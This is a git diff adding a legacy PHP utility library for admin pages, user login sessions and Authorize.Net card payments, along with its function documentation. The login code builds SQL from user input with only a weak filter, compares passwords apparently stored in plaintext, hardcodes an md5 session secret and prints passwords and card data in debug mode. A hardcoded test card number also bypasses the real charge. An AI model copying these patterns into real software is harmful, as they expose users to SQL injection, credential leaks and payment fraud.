+                                       $out[$res_field]["value"] = '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$x[0].' for '.$f[0].'</FONT>';
+                                       break;
+                                       
+                               } // switch( field type )
+                       } // foreach( field )
+               
+               } // if( $data )
+         else
+               {
+               return( array( 'text' => 'No Data Found', 'status' => false ) );        
+               }
+               
+               // Replace parameters in title and view
+
+       reset( $out );
+       while( list ($k, $v) = each($out) ) 
+               {
+               $a_title = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $a_title );
+               $view = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $view );
+               $a_title = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $a_title );
+               $view = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $view );
+               }
+
+       $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+       $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+       $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+
+               // Add QuickTip if provided
+               
+       if( trim($quick_tip) != '' )
+               $a_title = quick_tip( $a_title, $quick_tip );
+
+               // Display top of page
+               
+       if( !$nocenter )                
+               $ret .=  '<CENTER>';
+               
+       $ret .=  "$a_title\n";
+       
+       if( $data )
+               {
+                       // Output results
+
+               if( empty($view) )      // If there's no format spec in $view
+                       {
+                       $ret .=  '<TABLE BORDER="'.$borders.'"'.($borders>0?' CELLPADDING="5"':'').'>
+                            ';
+                       reset( $out );
+                       while( list( $k, $v ) = each($out) )
+                               if( !$v["hidden"] )
+                                       $ret .=  '<TR><TH ALIGN="right" VALIGN="top">'.$v["name"].'&nbsp;</TH><TD ALIGN="left">'.$v["value"].'</TD></TR>
+                                                                            ';
+
+                       $ret .=  '</TABLE>
+                            ';
+                       }
+                 else  // Otherwise use $view to output data
+                       $ret .=  $view;
+               }
+           else
+               $ret .=  '      <CENTER>(No results found)</CENTER>
+                       <P>
+                    ';
+
+       if( !$nocenter )
+               $ret .=  "</CENTER>\n";
+               
+       return( array( 'text' => $ret, 'status' => true ) );
+
+}
+
+function admin_view_record( $table, $conn_str, $id, $fields, 
+                               $url, $action, $params, $a_title, $view="", $options = "", $quick_tip = "", $id_field = '' )
+{
+
+       $r = admin_view_record_r( $table, $conn_str, $id, $fields, 
+                               $url, $action, $params, $a_title, $view, $options, $quick_tip, $id_field );
+       echo $r['text'];
+       return( $r['status'] );
+}
+
+
+
+
+       // User login management
+       
+function admin_user_login( $operation, $conn_str, $sess_code, $table, $id_field, $pw_field, $user_id = "", $password = "", $where = "" )
+{
+
+       $secret_code = "ApplesANDOranges";      // Secret code used to md5 encrypt everything
+
+       if( SI_DEBUG > 2 )
+               echo "<P>DEBUG: admin_user_login() - Request: $operation - ID: $user_id  PW: $password  SESSION: $sess_code\n";
+       
+       switch( $operation )
+               {
+               
+               case "create":
+               
+                               // Get user information and create a session
+                               
+                       $d = db_auto_get_row( "SELECT * FROM $table WHERE id = '$sess_code';", 0, $conn_str, FALSE ); 
+                       if( !$d )
+                               return( FALSE );
+                               
+                               // Build MD5 string from User ID, timestamp, "id" field value and secret
+                               
+                       $t = time();
+                       $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+                       
+                               // Build output data
+                               
+                       $d["session_code"] = $md5_string."-".$t."-".$d["id"];           // Session Code
+                       $d["session_link"] = "&session_code=".$d["session_code"];       // Link format
+                       $d["session_form"] = '<INPUT TYPE="hidden" NAME="session_code" VALUE="'.$d["session_code"].'">';        // Form format
+                       
+                       return $d;
+                       
+                       
+                       break;
+                       
+               case "login":
+               
+                               // Do sanity check
+                               
+                       if( empty($user_id) || empty($password) || ereg("[,*']", $user_id) || ereg("[,*']", $password) )
+                               return( FALSE );
+                               
+                               // Check ID and Password against specified table
+
+                       $d = db_auto_get_row( "SELECT * FROM $table WHERE $id_field = '$user_id' AND $pw_field = '$password'".($where!=''?' AND '.$where:'').";",
+                                               0, $conn_str, FALSE ); 
+                       if( !$d )
+                               return( FALSE );
+                               
+                               // Build MD5 string from User ID, timestamp, "id" field value and secret
+                               
+                       $t = time();
+                       $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+                       
+                               // Build output data
+                               
+                       $d["session_code"] = $md5_string."-".$t."-".$d["id"];           // Session Code
+                       $d["session_link"] = "&session_code=".$d["session_code"];       // Link format
+                       $d["session_form"] = '<INPUT TYPE="hidden" NAME="session_code" VALUE="'.$d["session_code"].'">';        // Form format
+                       
+                       return $d;
+                       
+                       break;
+               
+               case "verify":
+
+                               // Break apart session code - [0] = md5, [1] = timestamp, [2] = record id
+
+                       $ses = explode_trim( "-", $sess_code );
+                       if( count($ses) != 3 || !is_numeric($ses[2]) )                  // If there's not 3 parts, or the id isn't numeric, then it's not a valid code
+                               return( FALSE );
+                               
+                               // Retrieve data record
+
+                       $d = db_auto_get_row( "SELECT * FROM $table WHERE id = ".$ses[2].($where!=''?' AND '.$where:'').";", 0, $conn_str, FALSE );
+                       
+                       if( !$d )                               // If no results, then not a valid record id
+                               return( FALSE );
+
+                               // Check MD5 string for valid session
+
+                       if( md5($d[$id_field].$ses[1].$d["id"].$secret_code) != $ses[0] )
+                               return( FALSE );
+
+                               // Check to see if session has timed out
+               
+                       if( $ses[1] + SI_SES_TIMEOUT < time() )
+                               return( FALSE );
+                               
+                               // Update Timestamp and MD5 string
+                               
+                       $t = time();
+                       $md5_string = md5( $d[$id_field].$t.$d["id"].$secret_code );
+                       
+                               // Build output data
+                               
+                       $d["session_code"] = $md5_string."-".$t."-".$d["id"];           // Session Code
+                       $d["session_link"] = "&session_code=".$d["session_code"];       // Link format
+                       $d["session_form"]  = '<INPUT TYPE="hidden" NAME="session_code" VALUE="'.$d["session_code"].'">';       // Form format
+                       
+                       return( $d );
+                               
+                       break;
+               
+               default:
+                       echo '<FONT COLOR="red">UNKNOWN user login operation</FONT>';
+                       return( FALSE );
+                       break;
+               }
+
+}
+
+
+
+function authorize_net_aim
+               (
+               $login, $key, $test, $conf_email, $merch_email,
+               $amount, $card_num, $exp_date, $card_code, $currency = '',  
+               $fname = '', $lname = '', $company = '', $address = '', $city = '', $state = '', $zip = '', $country = '', $phone = '', $fax = '', $id = '', $ip = '', $tax_id = '',
+               $email = '',
+               $invoice = '', $descr ='', $header = '', $footer = '',
+               $ship_fname = '', $ship_lname = '', $ship_company = '', $ship_address = '', $ship_city = '', $ship_state = '', $ship_zip = '', $ship_country = ''
+               )
+{
+               
+       /*
+               Authorize.net processing
+       
+               Test card #
+               
+                 TEST CARD               CARD TYPE
+                 NUMBER
+                 370000000000002         American Express
+                 6011000000000012        Discover
+                 5424000000000015        MasterCard
+                 4007000000027           Visa
+       
+       */
+
+               // Make sure test is exactly 'FALSE' before conducting an actual transaction
+               
+       switch( $test )
+               {
+               case 'LOCAL_TEST':
+               case 'TRUE':
+               case 'FALSE':
+                       break;
+       
+               default:
+                       echo 'APPLICATION ERROR: Authorize.Net test mode not properly defined.';
+                       exit;
+                       break;
+               }
+       
+               // Compile submitted data
+               
+       $submit_data = array
+               (
+                       // Base required information                                    Required
+                       
+               'x_version'                             => '3.1',
+               'x_delim_data'                  => 'TRUE',                                      //      Yes
+               'x_delim_char'                  => '|', 
+               'x_encap_char'                  => '',
+               'x_relay_response'              => 'FALSE',                                     //      Yes
+               'x_test_request'                => $test,
+               
+                       // Merchant Account Information
+                       
+               'x_login'                               => $login,                                      //      Yes
+               'x_tran_key'                    => $key,                                        //      Yes
+               
+                       // Transaction parameters
+                       
+               'x_currency_code'               => '',
+               'x_method'                              => 'CC',                                        //      Yes             Options: CC, ( ECHECK not implemented )
+               'x_type'                                => 'AUTH_CAPTURE',                      //      Yes             Options: AUTH_CAPTURE, AUTH_ONLY, CAPTURE_ONLY, CREDIT, VOID, PRIOR_AUTH_CAPTURE
+               'x_amount'                              => $amount,                                     //      Yes
+
+                       // If x_method = 'CC'
+                       
+               'x_card_num'                    => $card_num,                                   //      Yes
+               'x_exp_date'                    => $exp_date,                           //      Yes
+               'x_card_code'                   => $card_code,
+
+                       // Additional Customer information
+                       
+               'x_first_name'                  => $fname,
+               'x_last_name'                   => $lname,
+               'x_company'                             => $company,
+               'x_address'                             => $address,
+               'x_city'                                => $city,
+               'x_state'                               => $state,                                      //                      Verified if supplied
+               'x_zip'                                 => $zip,
+               'x_country'                             => $country,                            //                      Verified if supplied
+               'x_phone'                               => $phone,
+               'x_fax'                                 => $fax,
+               'x_cust_id'                             => $id,
+               'x_customer_ip'                 => $ip,
+               'x_customer_tax_id'             => $tax_id,
+               
+                       // E-Mail info for confirmation
+                       
+               'x_email'                               => $email,                                      //                      Customer E-Mail
+               'x_email_customer'              => $conf_email,                         //                      IF TRUE customer will receive conf via E-Mail from Authorize.Net
+               'x_header_email_receipt'        => $header,                                     //                              Header to be included in conf E-Mail
+               'x_footer_email_receipt'        => $footer,                                     //                              Footer to be included in conf E-Mail
+               'x_merchant_email'              => $merch_email,                                //                      If supplied, merchant will receive conf via E-Mail
+               
+                       // Invoice 
+                       
+               'x_invoice_num'                 => $invoice,
+               'x_description'                 => $descr,
+               
+                       // Shipping information
+                       
+               'x_ship_to_first_name'  => $ship_fname,
+               'x_ship_to_last_name'   => $ship_lname,
+               'x_ship_to_company'             => $ship_company,
+               'x_ship_to_address'             => $ship_address,
+               'x_ship_to_city'                => $ship_city,
+               'x_ship_to_state'               => $ship_state,
+               'x_ship_to_zip'                 => $ship_zip,
+               'x_ship_to_country'             => $ship_country,
+               
+               
+               );
+
+       if( SI_DEBUG > 2 )
+               {
+               echo "<P>DEBUG: Authorize.Net Submit Array<BR><PRE>\n";
+               var_dump( $submit_data );
+               echo "\n</PRE><P>";
+               }
+
+               // Assemble above data into a string for posting
+               
+       if( SI_DEBUG > 0 )
+               echo "<P>DEBUG: Authorize.Net Submit Array<BR><PRE><table><tr><th align=\"left\">Parameter</th><th align=\"left\">Value</th></tr>\n";
+
+       $postdata = $sep = '';
+       foreach($submit_data AS $key => $val)
+               {
+               $postdata .= $sep.urlencode( $key ).'='.urlencode( $val );
+               $sep = '&';
+               if( SI_DEBUG > 0 )
+                       echo "<tr><td>$key</td><td>$val</td></tr>\n";
+               }
+
+       if( SI_DEBUG > 0 )
+               echo "</table></PRE><P>";
+
+       if( SI_DEBUG > 0 )
+               echo "<P>DEBUG: Authorize.Net Post String = $postdata<P>";
+       
+               // If this is a local test, just return data, don't send to Authorize.Net
+               
+       if( $test == 'LOCAL_TEST' || $card_num == '0011001100110011' )
+               {
+               return
+                       ( 
+                       array
+                               (
+                               0 => 1,                         // Success
+                               4 => 'Local Test',      // Approval Code
+                               )
+                       );
+               }
+               
+               // Submit Request
+               
+       $headers = "POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($poststring)."\r\n";
+       
+       exec( AUTH_CURL.' -d '.escapeshellarg($postdata)." -P 443 --url ".escapeshellarg(AUTH_URL), $results, $return );
+       
+               // Check for failures
+               
+       if( $return == 1 )                              // Exec failed - Code 100
+               return( array(0=>100) );
+
+       if( trim($results[0]) == '' )   // No data returned - Code 101
+               return( array(0=>101) );
+
+               // Break results up into an array
+                
+       $res = explode( "|", $results[0] );
+       if( SI_DEBUG > 0 )
+               {
+               echo "<P>DEBUG: Authorize.Net Response Array<BR><PRE><table><tr><th align=\"left\">Parameter</th><th align=\"left\">Value</th></tr>\n";
+               reset( $res );
+               foreach($res AS $key => $val)
+                       echo "<tr><td>$key</td><td>$val</td></tr>\n";
+               echo "</table></PRE><P>";
+               }
+
+       if( !is_array($res) )                   // No good data from Authorize.net - Code 102 
+               {
+               return( array(0=>102) );
+               }
+               
+               // If MD5 Hash secret is provided, authenticate response from Authorize.Net
+
+       if( SI_AUTH_SECRET != '' )
+               {
+               $hash = md5( SI_AUTH_SECRET.$login.$key.round($amount, 2) );
+               if( $res[37] != $hash )
+                       $res[0] = 103;                  // Indicate MD5 Hash verification failure
+               }
+
+               // Return results
+               
+       return( $res );
+       
+}
+
+
+function build_nav( $nav_table, $menu_title, $current_item = '', $sub_menu = '', $link_data = '' )
+{
+       $nl = "\n";
+
+       $out = '<div id="navcontainer">'.$nl;
+       
+               // If a title has been supplied - Add that
+               
+       if( $menu_title != '' )
+               $out .= '<div id="navtitle">'.$menu_title.'</div>'.$nl;
+
+       $out .= '<ul id="Level1">'.$nl;
+
+               // If additional link_data passed, include ? and get rid of first "&"
+               
+       if( strlen($link_data) > 1 )
+               $link_data = "?".substr($link_data, 1);
+
+               // Build nav from supplied table
+               
+       reset( $nav_table );
+       while( list($key, $val) = each( $nav_table ) ) 
+               {
+                       // If current item make it a non-link and include any supplied sub-menu
+                       
+               if( $current_item == $key )
+                       $out .= '<li ><a href="#" class="inactive" onclick="return false;">'.$val['title'].'</a>'.$nl.$sub_menu.'</li>'.$nl;
+                 else
+                       $out .= '<li><a href="'.$val['url'].$link_data.'">'.$val['title'].'</a></li>'.$nl;
+               }
+               
+       $out .= '</ul> <!-- level1 -->'.$nl.'</div> <!-- navcontainer -->'.$nl;
+
+       return( $out );
+}
+
+
+?>
diff --git a/functions_docs.txt b/functions_docs.txt
new file mode 100644 (file)
index 0000000..9a5fb53
--- /dev/null
@@ -0,0 +1,2983 @@
+$Id: functions_docs.txt,v 1.1 2006/04/28 19:13:28 cscott Exp $
+************************************************************************
+*                                                                      *
+*              Gaslight Media Standard Function Library                *
+*                                                                             *
+*      Copyright (c) 2000-2004 by Gaslight Media Inc.                     *
+*                                                                             *
+*      FILE:           functions_docs.txt                                     *
+*      VERSION:        1.3                                                    *
+*                                                                             *
+************************************************************************
+
+
+TO DO: 
+------
+
+
+                               
+INDEX
+-----
+
+       Debug Functions
+               bool                    debug_mail( string $to, string $subject, string $message [, string $headers [, string $parameters]] )
+
+       General Functions
+               bool                    CreditVal( string $Num, string $name, string $Accepted )
+               string                  credit_card_check( string $Num )
+               
+       Geographic Functions
+               float                   geo_distance( $lat, $lon, $units )
+               
+
+       Database Abstraction Functions
+
+               bool                    db_connect( string $conn_str, bool $fail_mode )
+               bool                    db_close( int $dbd )
+               bool                    db_pconnect( void )
+               int                     db_exec( int $dbd, string $qs )
+               array                   db_fetch_row( int $res, int $i, string $conn_str )
+               bool                    db_freeresult( int $res )
+               bool                    db_numrows( int $res )
+
+       Auto Functions
+
+               array                   db_auto_get_row( string $qs, int $i, string $conn_str, bool $fail_mode )
+               array[array]    db_auto_get_data( string $qs, string $conn_str, bool $fail_mode, int $rows, int $start )                
+               bool                    db_auto_exec( string $qs, string $conn_str, $fail_mode, $oid )
+               array                   db_data_fields( string $conn_str, string $table )
+               
+       File Functions
+       
+               string                  file_upload( string $form_field, string $file_name, string $destination_path )
+               string                  file_duplicte( string $file_name, string $base_path );
+               bool                    file_delete( string $file_name, string $base_path );
+               string                  file_get( string $file_name, int $max_size );
+               bool                    file_ouput_secure( string $file_name, string $md5, string $path );
+
+       Graphics Functions
+       
+               array                   img_info( $path2image )
+               bool                    graphic_thumb( string $img, string $timg, string $type )
+               bool                    graphic_resize( string $img, string $timg, string $type, int $w, int $h )
+               array                   img_resized( string $path2image, string $path2thumb, string $axis, int $size )
+               array                   img_upload( string $form_field, string $image_name, string $destination_path )
+               string                  process_image( string $image, string $image_name )
+               bool                    delete_image( string $image_name )
+               string                  duplicate_image( string $image_name )
+       
+       General Support Function/Classes
+       
+               class                   timestampfunc
+               float                   pos_value( float $value )       
+               string                  money( float $value )
+               array                   strtoarray( string $data )
+               string                  arraytostr( array $array )
+               string                  replace_tokens( string $s, array $tokens )
+               string                  cond_replace_tokens( string $s, array $tokens )
+               string                  replace_file_tokens( string $s )
+               string                  tableize_array( array $array )
+               string                  admin_field_select( array $fields, char $admin_function )
+               string                  admin_menu_std( string $action, string $a_title, int $id, string $opt, string $options, string $add_menu, string $params )
+               string                  admin_menu( string $action, string $option, string $a_title, int $id )
+               bool                    clean_input( string $var_name, string $type )
+               void                    data_to_url( array $names )
+               void                    url_to_data( array $names )
+               string                  data_to_url( array $data, string $prefix )
+               array                   url_to_data( array $data, string $url, string $start_key )
+               string                  build_nav( array $nav_table, string $menu_title, string $current_item = '', string $sub_menu = '', string $link_data = '' )             
+
+       Category Support Functions      
+
+               string                  category_path_func( string $table_name )
+               array                   cat_get_node( string $table, string $qs, string $order )
+               array                   cat_get_nodes( string $table, string $qs, string $order )
+               array                   cat_get_expanded_nodes( string $table, int $id )
+               bool                    cat_resequence_siblings( string $table, int $parent )
+               array                   cat_move_node( string $table, int $id, int ???????? ) PENDING
+                       
+       High Level Functions
+       
+               array                   get_us_counties( $fail_mode )
+               string                  build_picklist( string $fieldname, array $data, string $selected [, string $type] )
+               string                  build_numeric_picklist( string $fieldname, $starting, $ending )
+               string                  output_template( string $field )
+               string                  calendar_date_select( string $default_value, timestamp $start_date, timestamp $end_date,
+                                                       string $form_name, string $field_name )                                 
+               void                    calendar_display( int $month, int $year, array $date_data )
+               string                  parse_view( string $file_name, $tokens )
+
+       Magic Form Functions
+       
+               array                   magic_form_edit( int $mf_id, array $mf_format, in5 $mf_level )
+               array                   magic_form_display( int $mf_id, array $mf_format, int $mf_level )
+               array                   magic_form_submit( int $mf_id, int $mf_level )
+
+       High Level Functions for Admin Pages
+
+               array                   admin_process_records_r( string $table, string $where, string $order, string $conn_str, int $id, array $fields,
+                                                       string $options, int $rows, string $url, string $action, string $params, string $a_title, string $view
+                                                       string $Option ) 
+               void                    admin_process_records( string $table, string $where, string $order, string $conn_str, int $id, array $fields,
+                                                       string $options, int $rows, string $url, string $action, string $params, string $a_title, string $view
+                                                       string $Option ) 
+
+               array                   admin_list_records_r( string $table, sting $where, string $order, string $conn_str, string $fields, 
+                                                       string $options, int $rows, int $start, string $url, string $action, 
+                                                       string $params, string $filters, string $a_title )
+               void                    admin_list_records( string $table, sting $where, string $order, string $conn_str, string $fields, 
+                                                       string $options, int $rows, int $start, string $url, string $action, 
+                                                       string $params, string $filters, string $a_title )
+
+               array                   admin_new_record_r( string $table, string $conn_str, string $fields,  string $url, string $action, 
+                                                       string $params, string $a_title, string $view )
+               void                    admin_new_record( string $table, string $conn_str, string $fields,  string $url, string $action, 
+                                                       string $params, string $a_title, string $view )
+
+               array                   admin_add_new_record_r( string $table, string $conn_str, string $fields, string $url, 
+                                                       string $action, string $a_title )
+               void                    admin_add_new_record( string $table, string $conn_str, string $fields, string $url, 
+                                                       string $action, string $a_title )
+
+               array                   admin_edit_record_r( string $table, string $conn_str, int $id, string $fields, string $url, 
+                                                       string $action, string $a_title, string $view )
+               void                    admin_edit_record( string $table, string $conn_str, int $id, string $fields, string $url, 
+                                                       string $action, string $a_title, string $view )
+
+               array                   admin_update_record_r( string $table, string $conn_str, int $id, string $fields, string $url, 
+                                                       string $action, string $a_title, string $view )
+               void                    admin_update_record( string $table, string $conn_str, int $id, string $fields, string $url, 
+                                                       string $action, string $a_title, string $view )
+
+               array                   admin_delete_record_r( string $table, string $conn_str, int $id, string $fields, string $options, 
+                                                       string $url, string $action, string $a_title )
+               void                    admin_delete_record( string $table, string $conn_str, int $id, string $fields, string $options, 
+                                                       string $url, string $action, string $a_title )
+
+               array                   admin_confirm_delete_record_r( string $table, string $conn_str, int $id, string $fields, string $url, 
+                                                       string $action, string $a_title, string $view )
+               void                    admin_confirm_delete_record( string $table, string $conn_str, int $id, string $fields, string $url, 
+                                                       string $action, string $a_title, string $view )
+
+               array                   admin_view_record_r( string $table, sting $conn_str, string $id, string $fields, string $url,
+                                                       string $action, string $a_title, string $view, string $id_field )
+               void                    admin_view_record( string $table, sting $conn_str, string $id, string $fields, string $url,
+                                                       string $action, string $a_title, string $view, string $id_field )
+
+               void                    admin_user_login( string $operation, string $conn_str, string $sess_code
+                                                       string $table, string $id_field, string $pw_field,
+                                                       string $user_id, string $password )
+
+       Financial Transaction Functions
+       
+               array                   function authorize_net_aim( fload $amount, string $card_num, string $exp_date, string $card_code, string $currency = '',  
+                                                       string $fname = '', string $lname = '', string $company = '', string $address = '', string $city = '', string $state = '', string $zip = '', string $country = '', 
+                                                       string $phone = '', string $fax = '', string $id = '', string $ip = '', string $tax_id = '',
+                                                       string $email = '',
+                                                       string $invoice = '', string $descr ='',
+                                                       string $ship_fname = '', string $ship_lname = '', string $ship_company = '', string $ship_address = '', string $ship_city = '', string $ship_state = '', 
+                                                       string $ship_zip = '', string $ship_country = ''
+               )
+       
+
+
+       Note on SI_DEBUG levels
+
+       0 = No debug info
+       1 = Output debug for High level functions only
+       2 = Output debug for utilitiy function also
+       3 = Output debug for database abstraction calls and low level functions
+
+
+************************************************************************
+*                                                                      *
+*                       DEBUG FUNCTIONS                                *
+*                                                                      *
+************************************************************************
+
+------------------------------------------------------------------------
+       bool    debug_mail( string $to, string $subject, string $message [, string $headers [, string $parameters]] )
+------------------------------------------------------------------------
+
+If SI_DEBUG is = 0
+
+       Passes all parameters on to the standard PHP mail() function and sends
+       mail.
+       
+If SI_DEBUG is > 0
+
+       Outputs a table showing mail that would be sent by a mail() function
+       call and DOES NOT ACTUALLY SEND THE MAIL. Parameters are the same as 
+       for the PHP mail() function.
+       
+       
+       
+       Parameters
+               $to             Recipient(s)
+               $subject        Message Subject
+               $message        Message Content
+               $headers        Additional Headers
+               $parameters     Additional Parameters
+               
+       Return value:
+               True if debug level is high enough to display mail debug.
+               Otherwise, return value is that of the actual mail() function
+               call.
+               
+
+************************************************************************
+*                                                                      *
+*                       GENERAL FUNCTIONS                              *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       bool    CreditVal( string $Num, string $Name, string $Accepted )
+------------------------------------------------------------------------
+
+       checks for a valid credit card number doing Luhn check 
+       Parameters 
+               $Num = the credit card number 
+               $Name = the type of card
+                       $Name can be :
+                               mastercard,
+                               visa,
+                               americanexpress,
+                               discover,
+                               dinnercard
+               $Accepted = comma separated list of accepted cards. If not specified, all are accepted.
+       Return value:                                                   
+               returns 
+                       true if number and name are good values
+                       false if not             
+       Global references:                                                      
+               none
+------------------------------------------------------------------------
+       string          credit_card_check( string $Num )
+------------------------------------------------------------------------
+
+       Alternative strong credit card check function. This version
+       returns the type of the credit card if it's a good number. 
+
+       Will accept "0011-0011-0011-0011" as a good card and returns
+       "Test" for the card type.
+
+       Parameters 
+               $Num = the credit card number 
+
+       Return value:                                                   
+               $CardType       Type of card if number is good, otherwise FALSE 
+       Global references:                                                      
+               $tids_cc_array from siteinfo.inc is required
+
+************************************************************************
+*                                                                      *
+*                     GEOGRAPHIC FUNCTIONS                             *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       float           geo_distance( float $lat1, float $lon1, float $lat2, 
+                                                       float $lon2, string $units )
+------------------------------------------------------------------------
+
+       Calculates the distance between a pair of lat/lon coordinates.
+
+               Distance = 3963.0 * arccos[sin(lat1/57.2958) * sin(lat2/57.2958) + cos(lat1/57.2958) * cos(lat2/57.2958) *  cos(lon2/57.2958 -lon1/57.2958)]
+
+               Results are in Statue Miles
+
+       For future reference
+
+               Bearing = arccos[ ( sin(lat2/57.2958) - sin(lat1/57.2958)??cos(D) ) / ( cos(lat1/57.2958) - sin(D) ) ]
+                       if result is < 0 then Bearing is 360 - result
+  
+       Parameters 
+               $lat1           Latitude of point #1
+               $lon1           Longitude of point #1
+               $lat2           Latitude of point #2
+               $lon2           Longitude of point #2
+               $units          Units of results returned
+                                               Inches, Feet, Yards, Miles (default), Nautical Miles,
+                                               Meters, Kilometers
+
+       Return value:                                                   
+               float           Distance
+               
+       Global references:                                                      
+               
+
+***********************************************************************
+*                                                                      *
+*                DATABASE ABSTRACTION FUNCTIONS                        *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       index   db_connect( string $conn_str, bool $fail_mode )                                         
+------------------------------------------------------------------------
+
+       Creates a connection to database specified $conn_str, 
+       and returns a boolean for success.                      
+
+       Parameters:                                                             
+               $conn_str       Connect String                                          
+               $fail_mode      Failure Mode
+                                       TRUE    = Abort with HTML
+                                       FALSE   = Return with fail code
+                                                                       
+       Return value:                                                   
+               Returns an index or fails using html_error() function
+                                                                       
+       Global references:                                                      
+               SI_DB_TYPE                                                      
+
+------------------------------------------------------------------------
+       bool    db_close(int dbd)                                               
+------------------------------------------------------------------------
+
+       Closes the connection to database specified by the handle dbd   
+       returns a boolean for success                                   
+
+       Parameters:                                                             
+               dbd -- database connection handle                       
+
+       Return value:                                                   
+               Returns 1 on success 0 if dbd is not a valid connection 
+
+       Global references:                                                      
+               SI_DB_TYPE                                                      
+
+------------------------------------------------------------------------
+       bool    db_pconnect( string $conn_str )                                         
+------------------------------------------------------------------------
+
+Creates a persistant connection to database specified in $conn_str
+and returns a boolean for success.                     
+
+       Parameters:                                                             
+               $conn_str       Connection string
+
+       Return value:
+               Returns 1 on success 0 on failure                       
+
+       Global references:                                                      
+               SI_DB_TYPE                                                      
+               SI_CONN_STR                                             
+                                                                       
+
+------------------------------------------------------------------------
+       int             db_exec(int $dbd, string $qs)                                   
+------------------------------------------------------------------------
+
+Execute an SQL query, * returning a valid result index or zero(0) on   
+failure.                                                               
+
+       Parameters:                                                             
+               int $dbd -- valid database connection descriptor        
+               string $qs -- SQL query string                          
+
+       Return value:                                                   
+               Returns a valid result index on success 0 on failure    
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       array   db_fetch_row(int $res, int $i )                 
+------------------------------------------------------------------------
+
+Stores the data in associative indices, using the field names as       
+keys.                                                          
+
+       Parameters:                                                             
+               int $res -- valid database result index                 
+               int $i -- row number                                    
+
+       Return value:                                                   
+               Returns an associative array of key-value pairs         
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       bool    db_freeresult(int $res)                                         
+------------------------------------------------------------------------
+
+Free result memory.                                                    
+
+       Parameters:                                                             
+               int $res -- valid database result index                 
+
+       Return value:                                                   
+               Returns 1 for success 0 for failure                     
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       bool    db_numrows(int $res)                                            
+------------------------------------------------------------------------
+
+Determine number of rows in a result index                             
+
+       Parameters:                                                             
+               int $res -- valid database result index                 
+
+       Return value:                                                   
+               Returns number of rows
+
+       Global references:                                                      
+               None                                                    
+
+************************************************************************
+*                                                                      *
+*                          AUTO FUNCTIONS                              *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       array   db_auto_get_row(string $qs, int $i, string $conn_str, bool $fail_mode)                  
+------------------------------------------------------------------------
+
+The auto function for retrieving an array based soley on a query       
+string. This function makes the connection, does the exec, fetches     
+the array, closes the connection, frees memory used by the result,     
+and then returns the array                                             
+
+       Parameters:                                                             
+               string $qs      SQL query string                                
+               int $i          row number                                      
+               $conn_str       Connect String                                          
+               $fail_mode      Failure Mode
+                                       TRUE    = Abort with HTML
+                                       FALSE   = Return with fail code
+
+       Return value:                                                   
+               Returns an associative array of key-value pairs         
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       array[array] db_auto_get_data(string $qs, string $conn_str, bool $fail_mode, int $rows, int $start)
+------------------------------------------------------------------------
+
+The auto function for retrieving an array based soley on a query       
+string. This function makes the connection, does the exec, fetches     
+the array, closes the connection, frees memory used by the result,     
+and then returns the array.
+
+This function will by default retrieve a maximum of 100 results. That
+number may be increased by supplying the $rows value. You can also have
+it retrieve $rows rows starting at $start. This makes it simple to
+ask for the data for a single page of output when doing pagination without
+having to return all matched results.
+
+       Parameters:                                                             
+               string $qs      SQL query string                                
+               $conn_str       Connect String                                          
+       Optional Parameters
+               $fail_mode      Failure Mode
+                                       TRUE    = Abort with HTML
+                                       FALSE   = Return with fail code
+               $rows           Maximum number of rows that will be returned
+                                       Defaults to 100
+               $start          Start at this row and retrieve up to $rows rows
+
+       Return value:                                                   
+               Returns an associative array of key-value pairs         
+               Each key is a text value consisting of 2 numbers separated by "|"
+                       i.e. "10|1320" = 10th row out of 1320 total results
+                       (Note that the total is how many matches there are and may
+                        be more than $rows.) 
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       bool    db_auto_exec(string $qs, string $conn_str, bool $fail_mode )                                    
+------------------------------------------------------------------------
+
+The auto function for executing a query.                               
+This function makes the connection, does the exec, fetches             
+the array, closes the connection, frees memory used by the result,     
+and then returns success (not a valid result index)                    
+
+       Parameters:                                                             
+               string $qs      SQL query string                                
+               $conn_str       Connect String                                          
+
+       Return value:                                                   
+               Returns 1 (or oid, if available) for success 0 for failure                      
+
+       Global references:                                                      
+               None                                                    
+
+------------------------------------------------------------------------
+       array   db_data_fields( string $conn_str, string $table )                                       
+------------------------------------------------------------------------
+
+       Parameters:                                                             
+               $conn_str       Connect String                                          
+               $table          Database Table Name
+
+       Return value:                                                   
+               Array of field information
+
+               $fields[{name}]['size'] = Storage size of fields {name}
+               $fields[{name}]['type'] = Field type of field {name}
+
+       Global references:                                                      
+               None                                                    
+
+************************************************************************
+*                                                                      *
+*                          FILE FUNCTIONS                              *
+*                                                                             *
+************************************************************************
+
+
+------------------------------------------------------------------------
+       string  file_upload(string $temp_file, string $file_name, string $base_path)                                  
+------------------------------------------------------------------------
+
+Store away an uploaded file    
+
+       Parameters:                                                             
+               $temp_file      -- Temporary name of uploaded file
+               $file_name      -- $form_field of file with _name               
+               $base_path      -- Optional base path for location of files - Defaults to SI_BASE_PATH
+
+       Return value:                                                   
+               string $new_file_name,
+
+       Global references:                                                      
+
+
+------------------------------------------------------------------------
+       string  file_duplicate( string $file_name, string $base_path )                  
+------------------------------------------------------------------------
+
+Duplicate a stored File and give copy the same name with a "c{n}_" preceeding it.
+The {n} is a serialized number to distinguish the file from any other existing file.
+This function will try serial numbers up to 1000 before giving up.
+
